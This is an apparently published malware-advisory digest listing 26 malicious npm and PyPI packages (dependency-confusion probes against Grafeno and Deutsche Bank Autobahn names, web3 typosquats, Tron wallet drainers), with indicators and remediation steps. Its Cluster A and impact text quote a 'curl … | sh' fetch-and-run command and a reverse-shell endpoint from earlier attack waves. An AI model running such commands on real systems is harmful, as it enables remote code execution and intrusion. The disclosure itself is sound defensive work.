# GitHub Advisory malware sweep, 31 August 2026

> Wave 3 of the `grafeno-*` Brazilian-fintech campaign lands as `grafeno-actions@999.0.0` - a pure dependency-confusion pivot after Waves 1-2's pre-install payload. Alongside it: a Deutsche Bank `Autobahn` Electron dep-confusion probe (2 pkgs), a 6-pkg web3 typosquat cluster (`fuels-*` / `verify-contract-*` / `generate-schema-*`), a PyPI Tronix drain, and 12 late-arriving 2026-08-30 advisories.

- Published: 2026-08-31
- Severity: high
- Kind: Advisory sweep - A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
- Ecosystems: npm, PyPI
- Scope: 26 packages, 26 compromised versions
- Tags: dependency-confusion, typosquat, credential-theft, crypto-wallet-drain, ci-cd-compromise
- Also known as: 2026-08-31 GHSA sweep, 2026-08-grafeno wave 3, 2026-08-autobahn-db-electron dep-confusion, 2026-08-fuels-ethers-viem web3 typosquat cluster
- Detected by: GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector
- Incident ID: multi-2026-08-31-ghsa-malware-sweep

## Affected packages (26)

Only the exact versions listed were named by the source advisories. Other versions are not implicated.

| Package | Ecosystem | Compromised versions |
|---|---|---|
| [@fidzzhost/baileys](https://dependencywatch.io/package/npm/@fidzzhost/baileys) | npm | 0.0.0 |
| [@lucideproxy/svg](https://dependencywatch.io/package/npm/@lucideproxy/svg) | npm | 0.0.0 |
| [auth-app-streamlit](https://dependencywatch.io/package/pypi/auth-app-streamlit) | PyPI | 2.1.1 |
| [autobahn-electron-probe](https://dependencywatch.io/package/npm/autobahn-electron-probe) | npm | 99.99.1 |
| [brat-codex](https://dependencywatch.io/package/npm/brat-codex) | npm | 0.0.0 |
| [cloudfcrxz](https://dependencywatch.io/package/npm/cloudfcrxz) | npm | 0.0.0 |
| [cloufcrxz](https://dependencywatch.io/package/npm/cloufcrxz) | npm | 0.0.0 |
| [com.db.autobahn.notification-center-electron](https://dependencywatch.io/package/npm/com.db.autobahn.notification-center-electron) | npm | 88.88.2 |
| [cre-setup](https://dependencywatch.io/package/npm/cre-setup) | npm | 1.0.0 |
| [eslint-prettier-js](https://dependencywatch.io/package/npm/eslint-prettier-js) | npm | 0.0.0 |
| [fuels-core](https://dependencywatch.io/package/npm/fuels-core) | npm | 1.0.0 |
| [fuels-typegen](https://dependencywatch.io/package/npm/fuels-typegen) | npm | 1.0.0 |
| [generate-schema-ethers](https://dependencywatch.io/package/npm/generate-schema-ethers) | npm | 1.0.0 |
| [generate-schema-viem](https://dependencywatch.io/package/npm/generate-schema-viem) | npm | 1.0.0 |
| [grafeno-actions](https://dependencywatch.io/package/npm/grafeno-actions) | npm | 999.0.0 |
| [h2-codex](https://dependencywatch.io/package/npm/h2-codex) | npm | 0.0.0 |
| [h3-codex](https://dependencywatch.io/package/npm/h3-codex) | npm | 0.0.0 |
| [h3client](https://dependencywatch.io/package/npm/h3client) | npm | 0.0.0 |
| [npx-oob-package](https://dependencywatch.io/package/npm/npx-oob-package) | npm | 1.0.2 |
| [originaldevelopmentstelemetry](https://dependencywatch.io/package/npm/originaldevelopmentstelemetry) | npm | 0.0.0 |
| [real-browser-plus](https://dependencywatch.io/package/npm/real-browser-plus) | npm | 0.0.0 |
| [redis-cookie-server](https://dependencywatch.io/package/npm/redis-cookie-server) | npm | 0.0.0 |
| [trongridor](https://dependencywatch.io/package/pypi/trongridor) | PyPI | 0.0.1 |
| [tronlinker](https://dependencywatch.io/package/pypi/tronlinker) | PyPI | 0.0.1 |
| [verify-contract-ethers](https://dependencywatch.io/package/npm/verify-contract-ethers) | npm | 1.0.0 |
| [verify-contract-viem](https://dependencywatch.io/package/npm/verify-contract-viem) | npm | 1.0.0 |

## What happened

The 24 hours ending 2026-08-31 published 14 new npm+PyPI malware advisories, plus 12 late-arriving advisories dated 2026-08-30 that surfaced after yesterday's sweep closed. Headlines: a **third wave** of the `grafeno-*` Brazilian-fintech campaign that pivots from pre-install payload to pure dependency-confusion; a **Deutsche Bank `Autobahn` Electron dep-confusion probe** with reversed-DNS naming and inflated version numbers; and a **6-package web3-tooling typosquat cluster** targeting Fuel Labs / ethers / viem / block-explorer verify tooling.

## Cluster A - npm `grafeno-*` Wave 3 (dep-confusion pivot)

| Package | Version | GHSA | Source hash | MAL id |
|---|---|---|---|---|
| `grafeno-actions` | `999.0.0` | GHSA-rcj7-44gp-9983 | `3a52df88…058c2d7d` | MAL-2026-15596 |

**Relationship to Waves 1-2**: [Wave 1 (2026-08-29)](https://dependencywatch.io/incident/multi-2026-08-29-ghsa-malware-sweep) shipped 9 `grafeno-*` packages (`grafeno-auth`, `grafeno-client`, `grafeno-utils`, `grafeno-config`, `grafeno-api`, `grafeno-core`, `grafeno-pix`, `grafeno-logger`, `grafeno-sdk`) with `curl 216.126.236.46/x.sh | sh` + 30-minute crontab. [Wave 2 (2026-08-30)](https://dependencywatch.io/incident/multi-2026-08-30-ghsa-malware-sweep) shipped 3 `grafeno-*` packages (`grafeno-webhook`, `grafeno-payments`, `grafeno-billing`) that swapped to env-var scraping + `216.126.236.46:4444` interactive reverse bash shell. Wave 3 abandons pre-install payload entirely: the version-`999.0.0` signature is a classic dependency-confusion probe designed to override any lower internal `grafeno-actions` version in a Brazilian fintech CI/CD pipeline. The `-actions` suffix suggests a targeted internal GitHub Actions workflow. This is a **deliberate operator pivot** - three tactically distinct waves in 72 hours, all against the same brand.

## Cluster B - Deutsche Bank `Autobahn` Electron dep-confusion

| Package | Version | GHSA | Source hash | MAL id |
|---|---|---|---|---|
| `autobahn-electron-probe` | `99.99.1` | GHSA-8jx3-79xq-v4q4 | `d3c07ff6…97e44fc7` | MAL-2026-15589 |
| `com.db.autobahn.notification-center-electron` | `88.88.2` | GHSA-q6wc-5f8x-wwwj | `fe0ae07b…38873807` | MAL-2026-15590 |

**Attribution signals**: (1) inflated version numbers `99.99.1` and `88.88.2` are the textbook dependency-confusion mechanic - guarantee that any internal resolver checking public+private routes will pick the public malicious one; (2) the `com.db.` reversed-DNS prefix mirrors Deutsche Bank Java-style internal package naming; (3) `Autobahn` is DB's corporate-and-investment-banking portal (`autobahn.db.com`) and DB ships an Electron-based Autobahn desktop client. Both packages call out to a domain and execute commands per OpenSSF Package Analysis (payload not further disclosed at time of publication). Any DB developer or contractor should audit `.npmrc` scope routing; any DB-adjacent build box that resolved either name should be treated as having exfiltrated secrets available in its process environment.

## Cluster C - web3-tooling typosquat cluster (6 packages)

| Package | Version | GHSA | Source hash | MAL id |
|---|---|---|---|---|
| `fuels-core` | `1.0.0` | GHSA-w76m-93w4-w9vj | `d21bb4c8…cdb0ee93` | MAL-2026-15592 |
| `fuels-typegen` | `1.0.0` | GHSA-4f4x-3qvc-wffh | `d3a77505…d5343ee` | MAL-2026-15593 |
| `verify-contract-ethers` | `1.0.0` | GHSA-7cgh-hfp8-2h8v | `dd92ae4a…0417532` | MAL-2026-15598 |
| `verify-contract-viem` | `1.0.0` | GHSA-wgc5-g8h3-3grx | `3996f3da…fe826d66` | MAL-2026-15599 |
| `generate-schema-ethers` | `1.0.0` | GHSA-f45j-cpvf-37vh | `1b03df58…b9d9f3cf` | MAL-2026-15594 |
| `generate-schema-viem` | `1.0.0` | GHSA-rrqc-jj9x-2m46 | `6300576c…3c7dad78` | MAL-2026-15595 |

**Targets**: the paired `-ethers` / `-viem` suffix is the give-away - the operator is going after Web3 developers who default to either of the two dominant Ethereum client libraries. `fuels-core` / `fuels-typegen` typosquat the legitimate scoped Fuel Labs packages `@fuel-ts/core` and `@fuel-ts/typegen`. `verify-contract-*` mirrors block-explorer contract-verification tooling (`@nomicfoundation/hardhat-verify`, `foundry-rs`). `generate-schema-*` mirrors ABI-to-schema codegen tooling. All six flagged by OpenSSF Package Analysis for the same "communicates with a domain associated with malicious activity" + "executes one or more commands" fingerprint - a shared publisher fingerprint suggests one operator, one push.

## Cluster D - OOB probes (2 packages)

| Package | Version | GHSA | MAL id |
|---|---|---|---|
| `npx-oob-package` | `1.0.2` | GHSA-2gqg-4mch-fmq5 | MAL-2026-15597 |
| `cre-setup` | `1.0.0` | GHSA-85ff-72jm-25qf | MAL-2026-15591 |

`npx-oob-package` is a canonical bug-bounty out-of-band probe (name explicitly encodes `oob`). `cre-setup` unclear but shares the domain-callback + command-execution fingerprint. Treat both as compromise until pentest attribution proven.

## Cluster E - CWE-506 boilerplate takedowns (2 packages)

| Package | Affected versions | GHSA |
|---|---|---|
| `redis-cookie-server` | all versions (>= 0) | GHSA-jgx3-v64x-v2w5 |
| `eslint-prettier-js` | all versions (>= 0) | GHSA-fp43-fcrg-6w93 |

Both published pure CWE-506 boilerplate advisories with no per-package IOCs. Name-shape suggests typosquats of the `connect-redis` / `redis-connect` session-store family and the `eslint-config-prettier` / `eslint-plugin-prettier` namespace, respectively.

## Cluster F - PyPI Tronix crypto-wallet-drain

| Package | Version | GHSA | Source hash | Campaign |
|---|---|---|---|---|
| `tronlinker` | `0.0.1` | GHSA-55gr-cx76-2q6q | `18f3b8d2…5dfaee` | 2025-04-tronix |

Continues the year-plus-old `2025-04-tronix` PyPI campaign - 100+ typosquats of the legitimate `trongrid` Python SDK exfiltrating Tron / TRX private keys, using cloned-README decoy tactics.

## Late-arriving 2026-08-30 advisories (12 packages)

These advisories were dated 2026-08-30 but surfaced after yesterday's [2026-08-30 sweep](https://dependencywatch.io/incident/multi-2026-08-30-ghsa-malware-sweep) closed. Folded in here rather than back-editing yesterday's record to keep today's PR diff clean.

### Cluster G - `*-codex` typosquat cluster (4 packages, npm)

| Package | GHSA |
|---|---|
| `h2-codex` | GHSA-8h78-gfj3-qrp2 |
| `h3-codex` | GHSA-w6m7-6jhr-mfjc |
| `brat-codex` | GHSA-63wg-22hx-h5q4 |
| `h3client` | GHSA-89vf-5xgx-fhq7 |

All all-versions CWE-506 boilerplate. The `h2-` / `h3-` prefix mirrors Cloudflare's HTTP framework `h3`; the `-codex` suffix piggybacks OpenAI's Codex CLI naming space.

### Cluster H - `*fcrxz` twin-typo cluster (2 packages, npm)

| Package | GHSA |
|---|---|
| `cloudfcrxz` | GHSA-p375-pmrj-262v |
| `cloufcrxz` | GHSA-gxpc-36pf-vcrw |

Two variants (with and without the `d`) of the same base name - throwaway-account twin-typo pattern.

### Cluster I - other late 2026-08-30 npm CWE-506 takedowns (4 packages)

| Package | GHSA | Note |
|---|---|---|
| `@lucideproxy/svg` | GHSA-6j97-93gg-j7r8 | typosquats Lucide icon library scope |
| `@fidzzhost/baileys` | GHSA-vc2v-c8j2-qxg9 | typosquats `@whiskeysockets/baileys` (WhatsApp-Web-API) |
| `real-browser-plus` | GHSA-ffvr-gx62-j45m | typosquats `real-browser` puppeteer-stealth |
| `originaldevelopmentstelemetry` | GHSA-m8hq-jrvf-g8xm | reads as internal telemetry dep-confusion probe |

### Cluster J - late 2026-08-30 PyPI (2 packages)

| Package | Version | GHSA | Source hash | Campaign |
|---|---|---|---|---|
| `trongridor` | `0.0.1` | GHSA-vg2j-fq8r-2c48 | `46fcd4ed…59341341` | 2025-04-tronix |
| `auth-app-streamlit` | `<= 2.1.1` | GHSA-ff3f-7fvh-5cpv | `9662b50e…e9e8a199` | GENERIC-standard-pypi-install-pentest |

`trongridor` is a companion to today's `tronlinker` in the ongoing Tronix campaign. `auth-app-streamlit` is classified `PROBABLY_PENTEST` - `setup.py` install-command override that exfils host IP + username to a callback URL.

## Registry state

All listed packages were flagged as malware on npm / PyPI on 2026-08-30 or 2026-08-31. Multiple have been yanked and replaced with holding packages by the registry security teams. Internal mirrors routinely keep serving yanked tarballs; re-sync every mirror.

## Related tracked activity

- **`grafeno-*` Wave 1** (2026-08-29, 9 packages, `216.126.236.46/x.sh` payload + crontab) - [multi-2026-08-29-ghsa-malware-sweep](https://dependencywatch.io/incident/multi-2026-08-29-ghsa-malware-sweep) Cluster I.
- **`grafeno-*` Wave 2** (2026-08-30, 3 packages, env-var stealer + `216.126.236.46:4444` reverse shell) - [multi-2026-08-30-ghsa-malware-sweep](https://dependencywatch.io/incident/multi-2026-08-30-ghsa-malware-sweep) Cluster A.
- **`2025-04-tronix` PyPI campaign** - year-long recurring Tron crypto-drain tracked in [multi-2026-08-27-ghsa-malware-sweep](https://dependencywatch.io/incident/multi-2026-08-27-ghsa-malware-sweep), [pypi-2026-08-02-ghsa-malware-sweep](https://dependencywatch.io/incident/pypi-2026-08-02-ghsa-malware-sweep), [pypi-2026-08-03-ghsa-malware-sweep](https://dependencywatch.io/incident/pypi-2026-08-03-ghsa-malware-sweep), [pypi-2026-07-18-ghsa-malware-sweep](https://dependencywatch.io/incident/pypi-2026-07-18-ghsa-malware-sweep).
- Discovery credits: `GitHub Advisory Database`, `OpenSSF malicious-packages`, `OpenSSF Package Analysis`, `Amazon Inspector`.

## Impact

- **Cluster A - npm `grafeno-*` Wave 3 dep-confusion pivot (2026-08-31, 1 package)**: `grafeno-actions@999.0.0` (GHSA-rcj7-44gp-9983, MAL-2026-15596, hash `3a52df88a9094028961676cb72f9e43f88fcef959cc4e1db63687785058c2d7d`). Same operator as [Wave 1 (2026-08-29, 9 packages, `curl 216.126.236.46/x.sh | sh` + 30-minute crontab)](https://dependencywatch.io/incident/multi-2026-08-29-ghsa-malware-sweep) and [Wave 2 (2026-08-30, 3 packages, env-var stealer + `216.126.236.46:4444` reverse shell)](https://dependencywatch.io/incident/multi-2026-08-30-ghsa-malware-sweep), but this wave abandons pre-install payload delivery entirely and pivots to pure dependency-confusion. The `999.0.0` version number is the classic dep-confusion signature - it beats any lower internal `grafeno-actions@x.y.z` version a Brazilian fintech CI/CD workflow might resolve if `.npmrc` scope routing is misconfigured. The `-actions` suffix suggests a targeted GitHub Actions workflow name - any team that runs `npm install grafeno-actions` from an unpinned CI step could pull this. OpenSSF Package Analysis flagged the CWE-506 behaviour; hash confirms this is not a benign re-publish
- **Cluster B - Deutsche Bank `Autobahn` Electron dep-confusion (2026-08-31, 2 packages)**: `autobahn-electron-probe@99.99.1` (GHSA-8jx3-79xq-v4q4, MAL-2026-15589, hash `d3c07ff64c9729469df8453fb5fd6fa15e1099e81916496d741fe10297e44fc7`) and `com.db.autobahn.notification-center-electron@88.88.2` (GHSA-q6wc-5f8x-wwwj, MAL-2026-15590, hash `fe0ae07b99c275a092bcb2e4836aeb711a02f98def45f54f91bcf5ba38873807`). Two signals make this a targeted dep-confusion probe of Deutsche Bank's internal `Autobahn` Electron desktop apps (Autobahn is DB's corporate & investment banking trading portal at `autobahn.db.com`): (1) inflated version numbers (`99.99.1` / `88.88.2`) - the classic dep-confusion mechanic to guarantee an internal version resolver picks the public malicious one; (2) reversed-DNS naming `com.db.autobahn.*` mirroring Java-style internal package names that a Deutsche Bank build pipeline might resolve. Both call out to a domain and execute commands per OpenSSF Package Analysis. Any DB developer, or any org that mirrors DB's internal Node monorepo layouts, should audit `.npmrc` scope-registry routing
- **Cluster C - web3-tooling typosquat cluster (2026-08-31, 6 packages)**: `fuels-core@1.0.0` (GHSA-w76m-93w4-w9vj, MAL-2026-15592, hash `d21bb4c8fac5120e8d1c6227bd7248f35ddb633bcb3c7ca08427b964cdb0ee93`) and `fuels-typegen@1.0.0` (GHSA-4f4x-3qvc-wffh, MAL-2026-15593, hash `d3a77505eb8f38e58c0a2b2a3b9ab7a0c4976077df0cef66e39b146eed5343ee`) - typosquats of the legitimate Fuel Labs `@fuel-ts/*` scoped packages. `verify-contract-ethers@1.0.0` (GHSA-7cgh-hfp8-2h8v, MAL-2026-15598, hash `dd92ae4a5555d9abe274ad50e627402e6fcba1b9486f0f565dd2a11920417532`), `verify-contract-viem@1.0.0` (GHSA-wgc5-g8h3-3grx, MAL-2026-15599, hash `3996f3daf2ae95942dab5a1961f8e5c1c267aa093c073002b5771860fe826d66`), `generate-schema-ethers@1.0.0` (GHSA-f45j-cpvf-37vh, MAL-2026-15594, hash `1b03df588fe1ae0b803b15d5b2b66efc516887314c772e3190af2916b9d9f3cf`), and `generate-schema-viem@1.0.0` (GHSA-rrqc-jj9x-2m46, MAL-2026-15595, hash `6300576c16b112520e6a4cde256e38ce14736ec575b8c94e58a0a9163c7dad78`) - six packages published on the same day, all v1.0.0, all flagged by OpenSSF Package Analysis for the same "communicates with a domain associated with malicious activity" + "executes one or more commands" fingerprint. The paired `-ethers` / `-viem` naming targets developers reaching for either of the two dominant Ethereum client libraries. `verify-contract-*` mirrors block-explorer verification tooling (e.g. `hardhat-verify`, `foundry-rs verify-contract`); `generate-schema-*` mirrors ABI-to-schema codegen tooling. Any Web3 developer, DAO, or smart-contract shop that resolved these by autocomplete typo could have opened a shell
- **Cluster D - OOB probes (2026-08-31, 2 packages)**: `npx-oob-package@1.0.2` (GHSA-2gqg-4mch-fmq5, MAL-2026-15597, hash `97f657a8f0fdcb9bebaa6ad7caf2775f059ee15fd9e721d1ca66e5bd239ba42c`) and `cre-setup@1.0.0` (GHSA-85ff-72jm-25qf, MAL-2026-15591, hash `7a338301f299dfbe6fb5f4a0e2f0ca15e3a26765b411205b9cc9a74178660283`). Both flagged for domain-callback + command execution. `npx-oob-package` is a canonical bug-bounty out-of-band probe (`oob` = out-of-band), reasonable to treat as pentest recon. `cre-setup` unclear but same probe fingerprint. Lockfile hits should still be treated as compromise until proven otherwise
- **Cluster E - CWE-506 boilerplate takedowns (2026-08-31, 2 packages)**: `redis-cookie-server` (GHSA-jgx3-v64x-v2w5, all versions) and `eslint-prettier-js` (GHSA-fp43-fcrg-6w93, all versions). Pure CWE-506 boilerplate advisories with no per-package IOCs. Both look like typosquat plays - `redis-cookie-server` piggybacks the `connect-redis` / `redis-connect` session-store family; `eslint-prettier-js` piggybacks the `eslint-config-prettier` / `eslint-plugin-prettier` naming space. Defensive value is name-level: any lockfile hit means uninstall
- **Cluster F - PyPI Tronix crypto-wallet-drain (2026-08-31, 1 package)**: `tronlinker@0.0.1` (GHSA-55gr-cx76-2q6q, MAL-2026-15588, hash `18f3b8d2924d38ddd8e852a2ca3311ccb85a82a4a6eedc836c4b8086465dfaee`, campaign identifier `2025-04-tronix`). Yet another entry in the year-plus-old low-volume `2025-04-tronix` PyPI campaign that has produced 100+ typosquats of the legitimate `trongrid` Python SDK - this one drops the `-grid` suffix in favour of `-linker`. Same category as previous entries tracked in [multi-2026-08-27-ghsa-malware-sweep](https://dependencywatch.io/incident/multi-2026-08-27-ghsa-malware-sweep) and [pypi-2026-07-18-ghsa-malware-sweep](https://dependencywatch.io/incident/pypi-2026-07-18-ghsa-malware-sweep): exfiltrates Tron / TRX private keys, clones legitimate `trongrid` README as decoy. Impact: any Tron wallet running on a host where this was `pip install`ed should be considered drained
- **Cluster G - late-arriving 2026-08-30 `*-codex` cluster (4 packages, npm)**: `h2-codex` (GHSA-8h78-gfj3-qrp2), `h3-codex` (GHSA-w6m7-6jhr-mfjc), `brat-codex` (GHSA-63wg-22hx-h5q4), `h3client` (GHSA-89vf-5xgx-fhq7). All published 2026-08-30 but surfaced after yesterday's [2026-08-30 sweep](https://dependencywatch.io/incident/multi-2026-08-30-ghsa-malware-sweep) closed - folded in here rather than back-editing yesterday's record. The `h2-codex` / `h3-codex` / `h3client` triple typosquats the `h2` / `h3` (Cloudflare's HTTP framework) + OpenAI `codex-cli` naming spaces; `brat-codex` piggybacks the same "codex" branding. All shipped pure CWE-506 embedded-malicious-code boilerplate advisories - no per-package IOCs disclosed. Defensive value is name-level
- **Cluster H - late-arriving 2026-08-30 `*fcrxz` typo cluster (2 packages, npm)**: `cloudfcrxz` (GHSA-p375-pmrj-262v) and `cloufcrxz` (GHSA-gxpc-36pf-vcrw) - two variants (one with `-d-`, one with a dropped `d`) of the same `cloudfcrxz` base name. Both CWE-506 all-versions takedowns published the same day. Twin-typo publication is a known throwaway-account pattern - both names get squatted to catch either typo. Name-level defensive signal
- **Cluster I - other late-arriving 2026-08-30 npm CWE-506 takedowns (4 packages)**: `@lucideproxy/svg` (GHSA-6j97-93gg-j7r8) - piggybacks the legitimate Lucide icon library scope; `@fidzzhost/baileys` (GHSA-vc2v-c8j2-qxg9) - piggybacks the popular `@whiskeysockets/baileys` WhatsApp-Web-API library under a look-alike scope; `real-browser-plus` (GHSA-ffvr-gx62-j45m) - piggybacks the `real-browser` puppeteer-stealth namespace; `originaldevelopmentstelemetry` (GHSA-m8hq-jrvf-g8xm) - reads as a probe of an internal "OriginalDevelopments" telemetry package (dep-confusion candidate). All shipped pure CWE-506 boilerplate. Name-level defensive signal
- **Cluster J - late-arriving 2026-08-30 PyPI (2 packages)**: `trongridor@0.0.1` (GHSA-vg2j-fq8r-2c48, MAL-2026-15578, hash `46fcd4ed6da56295fe0a0b4a25cbaf848f10874c6905723472a57e7f59341341`, campaign `2025-04-tronix`) - companion to today's `tronlinker`, same Tron private-key exfil / README-clone pattern; and `auth-app-streamlit@<=2.1.1` (GHSA-ff3f-7fvh-5cpv, MAL-2026-15577, hash `9662b50ee4db956c8a7ec0bd4e1c9842f709ab2d5d181c325702c727e9e8a199`, campaign `GENERIC-standard-pypi-install-pentest`, classified `PROBABLY_PENTEST`) - a `setup.py` install-command override that exfiltrates host IP + username to a callback URL. `auth-app-streamlit` is a pentest / low-harm probe but hits are still worth investigating - the "streamlit" branding suggests it was crafted to lure Streamlit-app developers

## What to do

1. Grep every lockfile (`package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`, `requirements.txt`, `Pipfile.lock`, `poetry.lock`) for: `grafeno-actions`, `autobahn-electron-probe`, `com.db.autobahn.notification-center-electron`, `fuels-core`, `fuels-typegen`, `verify-contract-ethers`, `verify-contract-viem`, `generate-schema-ethers`, `generate-schema-viem`, `npx-oob-package`, `cre-setup`, `redis-cookie-server`, `eslint-prettier-js`, `tronlinker`, `h2-codex`, `h3-codex`, `brat-codex`, `h3client`, `cloudfcrxz`, `cloufcrxz`, `@lucideproxy/svg`, `@fidzzhost/baileys`, `real-browser-plus`, `originaldevelopmentstelemetry`, `trongridor`, `auth-app-streamlit`. Uninstall on any hit and rebuild the lockfile against a clean cache
2. **For Cluster A (`grafeno-actions` Wave 3)**: any Brazilian fintech, or any team using the legitimate `Grafeno` BaaS, should audit `.npmrc` and `package.json` for any workflow that resolves `grafeno-actions` (or any unscoped `grafeno-*`) from the public npm registry rather than an internal scope. Version-pin every internal `grafeno-*` dependency and enable `--strict-peer-deps` / lockfile-verify in CI. Continue to block `216.126.236.46` at egress across dev/CI/build - Waves 1 and 2 still hit that IP, and Wave 3 may pivot back to it. Expect a Wave 4 in the same 24-72h window
3. **For Cluster B (Deutsche Bank `Autobahn` dep-confusion)**: any DB engineer, or any org with an `@autobahn/*` or `com.db.autobahn.*` internal package namespace, must confirm scope-registry mappings in `.npmrc` route those names to the internal registry - never fall through to public npm. Set a scoped internal registry `always-auth = true`. Version-pin every internal Autobahn-* dependency; a `99.99.1` public version will beat any realistic internal semver. Review `~/.npm/_logs` on developer workstations for any `install autobahn-electron-probe` or `install com.db.autobahn.*` line. Rotate any GitHub PAT / npm token that touched an affected workstation
4. **For Cluster C (`fuels-*` / `verify-contract-*` / `generate-schema-*` web3 typosquats)**: any Web3 / DeFi / smart-contract shop should confirm that `fuels-core` and `fuels-typegen` in a lockfile actually resolves to `@fuel-ts/core` and `@fuel-ts/typegen` (the legitimate scoped Fuel Labs packages), and that any `verify-contract-*` or `generate-schema-*` dependency is the legitimate one (`@nomicfoundation/hardhat-verify` or `foundry-rs`-style tooling), not the malicious 1.0.0 unscoped variant. On confirmed hits, rotate every wallet mnemonic / private key that was accessible on the affected machine - this cluster is web3-targeted and wallet exfil is the most likely payload class
5. **For Cluster F + J (`tronlinker`, `trongridor`)**: rotate every Tron / TRX wallet mnemonic / private key that ever lived on a host where these were `pip install`ed. Move remaining balances off any potentially-affected wallet. Do NOT trust dry-run install output - the malicious `install` command runs before pip reports success
6. **For Cluster J (`auth-app-streamlit`)**: if this ever shipped to a Streamlit-app deploy, treat host IP + username as exfiltrated. The campaign tag `PROBABLY_PENTEST` suggests low-harm, but any pentest probe on production infrastructure is worth an audit and IP allowlist review
7. For all `npm install` runs in CI, prefer `--ignore-scripts` - dep-confusion pkgs still typically ship post/preinstall hooks
8. For all `pip install` runs in CI, prefer `--no-build-isolation` + explicit `--only-binary` where possible - the `auth-app-streamlit` mechanism (setup.py install-command override) executes on any source install
9. Verify none of the enumerated packages still resolves via your private mirror - internal caches (Nexus / Artifactory / Verdaccio / Sonatype / devpi) routinely keep serving yanked tarballs after the public takedown

## Check your own dependencies

- Check a package-lock.json against this incident: https://dependencywatch.io/check/package-lock-json
- Check a requirements.txt against this incident: https://dependencywatch.io/check/requirements-txt

The scan runs entirely in the browser; lockfile contents are never uploaded.

## References

- [GHSA-rcj7-44gp-9983 - grafeno-actions (npm dep-confusion Wave 3, v999.0.0)](https://github.com/advisories/GHSA-rcj7-44gp-9983) - GitHub
- [GHSA-8jx3-79xq-v4q4 - autobahn-electron-probe (npm dep-confusion v99.99.1)](https://github.com/advisories/GHSA-8jx3-79xq-v4q4) - GitHub
- [GHSA-q6wc-5f8x-wwwj - com.db.autobahn.notification-center-electron (npm dep-confusion v88.88.2)](https://github.com/advisories/GHSA-q6wc-5f8x-wwwj) - GitHub
- [GHSA-w76m-93w4-w9vj - fuels-core (npm typosquat of @fuel-ts/core)](https://github.com/advisories/GHSA-w76m-93w4-w9vj) - GitHub
- [GHSA-4f4x-3qvc-wffh - fuels-typegen (npm typosquat of @fuel-ts/typegen)](https://github.com/advisories/GHSA-4f4x-3qvc-wffh) - GitHub
- [GHSA-7cgh-hfp8-2h8v - verify-contract-ethers (npm web3 typosquat)](https://github.com/advisories/GHSA-7cgh-hfp8-2h8v) - GitHub
- [GHSA-wgc5-g8h3-3grx - verify-contract-viem (npm web3 typosquat)](https://github.com/advisories/GHSA-wgc5-g8h3-3grx) - GitHub
- [GHSA-f45j-cpvf-37vh - generate-schema-ethers (npm web3 typosquat)](https://github.com/advisories/GHSA-f45j-cpvf-37vh) - GitHub
- [GHSA-rrqc-jj9x-2m46 - generate-schema-viem (npm web3 typosquat)](https://github.com/advisories/GHSA-rrqc-jj9x-2m46) - GitHub
- [GHSA-2gqg-4mch-fmq5 - npx-oob-package (npm OOB probe)](https://github.com/advisories/GHSA-2gqg-4mch-fmq5) - GitHub
- [GHSA-85ff-72jm-25qf - cre-setup (npm probe)](https://github.com/advisories/GHSA-85ff-72jm-25qf) - GitHub
- [GHSA-jgx3-v64x-v2w5 - redis-cookie-server (npm CWE-506 takedown)](https://github.com/advisories/GHSA-jgx3-v64x-v2w5) - GitHub
- [GHSA-fp43-fcrg-6w93 - eslint-prettier-js (npm CWE-506 takedown)](https://github.com/advisories/GHSA-fp43-fcrg-6w93) - GitHub
- [GHSA-55gr-cx76-2q6q - tronlinker (PyPI Tronix crypto-drain)](https://github.com/advisories/GHSA-55gr-cx76-2q6q) - GitHub
- [GHSA-8h78-gfj3-qrp2 - h2-codex (npm CWE-506 takedown, late 2026-08-30)](https://github.com/advisories/GHSA-8h78-gfj3-qrp2) - GitHub
- [GHSA-w6m7-6jhr-mfjc - h3-codex (npm CWE-506 takedown, late 2026-08-30)](https://github.com/advisories/GHSA-w6m7-6jhr-mfjc) - GitHub
- [GHSA-63wg-22hx-h5q4 - brat-codex (npm CWE-506 takedown, late 2026-08-30)](https://github.com/advisories/GHSA-63wg-22hx-h5q4) - GitHub
- [GHSA-89vf-5xgx-fhq7 - h3client (npm CWE-506 takedown, late 2026-08-30)](https://github.com/advisories/GHSA-89vf-5xgx-fhq7) - GitHub
- [GHSA-p375-pmrj-262v - cloudfcrxz (npm CWE-506 takedown, late 2026-08-30)](https://github.com/advisories/GHSA-p375-pmrj-262v) - GitHub
- [GHSA-gxpc-36pf-vcrw - cloufcrxz (npm CWE-506 takedown, late 2026-08-30)](https://github.com/advisories/GHSA-gxpc-36pf-vcrw) - GitHub
- [GHSA-6j97-93gg-j7r8 - @lucideproxy/svg (npm scope typosquat, late 2026-08-30)](https://github.com/advisories/GHSA-6j97-93gg-j7r8) - GitHub
- [GHSA-vc2v-c8j2-qxg9 - @fidzzhost/baileys (npm scope typosquat of @whiskeysockets/baileys)](https://github.com/advisories/GHSA-vc2v-c8j2-qxg9) - GitHub
- [GHSA-ffvr-gx62-j45m - real-browser-plus (npm typosquat, late 2026-08-30)](https://github.com/advisories/GHSA-ffvr-gx62-j45m) - GitHub
- [GHSA-m8hq-jrvf-g8xm - originaldevelopmentstelemetry (npm dep-confusion candidate, late 2026-08-30)](https://github.com/advisories/GHSA-m8hq-jrvf-g8xm) - GitHub
- [GHSA-vg2j-fq8r-2c48 - trongridor (PyPI Tronix crypto-drain, late 2026-08-30)](https://github.com/advisories/GHSA-vg2j-fq8r-2c48) - GitHub
- [GHSA-ff3f-7fvh-5cpv - auth-app-streamlit (PyPI PROBABLY_PENTEST, late 2026-08-30)](https://github.com/advisories/GHSA-ff3f-7fvh-5cpv) - GitHub
- [GitHub Advisory Database - recent npm malware advisories](https://github.com/advisories?query=type%3Amalware+ecosystem%3Anpm&sort=published-desc) - GitHub
- [GitHub Advisory Database - recent PyPI malware advisories](https://github.com/advisories?query=type%3Amalware+ecosystem%3Apip&sort=published-desc) - GitHub
- [OpenSSF malicious-packages repository](https://github.com/ossf/malicious-packages) - OpenSSF
- [Related: 2026-08-30 grafeno-* Wave 2 sweep](https://github.com/advisories/GHSA-477g-wmjw-mjmr) - GitHub
- [Related: 2026-08-29 grafeno-* Wave 1 sweep](https://github.com/advisories/GHSA-wp54-r527-gf42) - GitHub

---

Canonical page: https://dependencywatch.io/incident/multi-2026-08-31-ghsa-malware-sweep
